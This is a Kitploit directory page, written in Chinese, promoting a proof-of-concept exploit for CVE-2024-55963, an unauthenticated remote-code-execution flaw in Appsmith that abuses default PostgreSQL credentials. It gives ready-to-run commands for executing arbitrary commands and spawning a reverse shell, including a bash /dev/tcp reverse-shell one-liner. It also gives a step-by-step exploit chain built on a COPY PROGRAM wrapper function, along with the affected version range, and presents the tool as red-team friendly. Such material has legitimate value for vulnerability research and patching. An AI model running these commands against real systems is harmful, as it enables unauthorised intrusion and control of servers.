Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-55963 — CVE-2024-55963,允许在 Appsmith Enterprise 平台上执行未经身份验证的远程代码,原因在于默认包含的 PostgreSQL 数据库配置错误。 | Kitploit
工具/GitHubGitHub/superswan/cve-2024-55963
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试错误配置红队数据库安全
GitHubsuperswan/cve-2024-55963

CVE-2024-55963

CVE-2024-55963,允许在 Appsmith Enterprise 平台上执行未经身份验证的远程代码,原因在于默认包含的 PostgreSQL 数据库配置错误。

查看仓库
241年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE‑2024‑55963 Appsmith RCE PoC

针对 CVE‑2024‑55963 的 PoC 漏洞利用,可在受影响的 Appsmith 实例上执行任意命令或生成反弹 shell。

它自动兼容现代服务器(具备 environmentId 功能)以及早于该功能的“旧版”构建,因此一个脚本即可覆盖从 v1.20 到最后一个受影响版本 v1.51 的所有版本。


快速开始

root@kitploit:~
# Run an arbitrary command (default is `id`)
python3 appsmith-rce.py https://target.example.com [email protected] password123 "whoami"

# spawn a reverse shell
python3 appsmith-rce.py https://target.example.com [email protected] password123 -revshell <ip> <port>

注意: 只要服务器允许自助注册,任意凭据均可使用。 脚本会先尝试登录,如果账户不存在则回退到注册流程。


工作原理(高层概览)

  1. CSRF 与会话处理 – 从多个可能的端点或 cookie jar 中提取令牌,然后继续携带该令牌。
  2. 登录/注册流程 – 使用提供的邮箱/密码登录或注册新用户。
  3. 工作区发现 – 获取现有工作区,或触发初始化流程自动创建一个。
  4. 环境检测 – 查询 /api/v1/environments/workspaces/{id};如果不存在则切换至旧版模式(environmentId 为空)。
  5. 应用与页面设置 – 向 /api/v1/applications 发送 POST 请求并提取 pageId。
  6. 数据源创建 – 构建一个指向 localhost:5432 的本地 PostgreSQL 数据源,使用 postgres/postgres 凭据(受影响的默认 pg_hba.conf 允许该操作)。
  7. SQL 对象 – 上传辅助 PL/pgSQL 函数 exec_cmd() 以及一个用于收集 STDOUT 的临时表 cmd_output。
  8. 命令执行 – 通过 /api/v1/actions/execute 端点运行 SELECT * FROM exec_cmd('<your cmd>')
  9. 反弹 shell(可选) – 执行 bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'

环境要求

  • Python ≥ 3.8
  • requests

已测试版本

Appsmith 版本结果
1.51✅ RCE
1.45✅ RCE
1.30✅ RCE,旧版路径
1.52+❌ 已修复 – 函数创建失败

与 Rhino Security Labs PoC 的差异

这个 PoC 是对 Rhino Security Labs 漏洞利用的一点增强(我在评审该研究时并未意识到他们已经发布了公开 PoC)。

Rhino 的 PoC 使用静态的 headers、cookies 和凭据。在测试该漏洞利用时,当特定版本上账户已存在时我遇到了问题。此脚本允许用户通过命令行输入他们选择的任意邮箱/密码组合。如前所述,CSRF 令牌是从服务器提取的,而不是依赖硬编码值。

  • 此版本适用于没有 Environments API 端点的旧服务器。
  • 执行路径不同。本版本在 exec_cmd() 的 PL/pgSQL 包装器中使用 COPY PROGRAM,并通过 /actions/execute API 执行,但这可以说噪声更大。Rhino 依赖内置的 schema 预览端点来发出临时的 COPY (SELECT …) 语句。该端点会截断输出长度并增加额外的引号规则,因此长命令或链式 payload 更难传递。
  • 单个反弹 shell 标志 (:
  • 随机化应用/数据源/函数名称
  • 无 pyfiglet 依赖
  • 通过自动检测 environmentId 头来支持旧服务器。Rhino 的漏洞利用假设该头始终存在。

这些设计选择共同使该漏洞利用更简短、更可靠,并且对红队使用更友好,同时仍然演示了相同的底层漏洞。

参考资料

rhinosecuritylabs.com


法律声明

此代码仅用于教育和授权测试。对您不拥有或未经明确许可的系统运行该代码很可能是非法的。作者对滥用行为不承担任何责任。

下载工具